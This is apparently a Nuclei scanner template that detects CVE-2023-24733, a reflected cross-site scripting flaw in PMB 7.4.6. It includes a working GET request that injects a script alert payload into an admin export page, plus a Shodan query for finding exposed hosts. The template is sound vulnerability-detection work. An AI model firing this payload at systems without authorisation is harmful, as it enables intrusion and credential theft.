id: CVE-2023-24733

info:
  name: PMB 7.4.6 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    PMB 7.4.6 contains a cross-site scripting vulnerability via the query parameter at /admin/convert/export_z3950_new.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of PMB.
  reference:
    - https://github.com/AetherBlack/CVE/blob/main/PMB/readme.md
    - https://github.com/AetherBlack/CVE/tree/main/PMB
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24733
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-24733
    cwe-id: CWE-79
    epss-score: 0.00071
    epss-percentile: 0.29171
    cpe: cpe:2.3:a:pmb_project:pmb:7.4.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: pmb_project
    product: pmb
    shodan-query: http.favicon.hash:1469328760
  tags: cve,cve2023,unauth,xss,pmb,pmb_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/pmb/admin/convert/export_z3950_new.php?command=search&query=%3Cscript%3Ealert(document.domain);%3C/script%3E=or"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '3@1=<script>alert(document.domain)</script>@'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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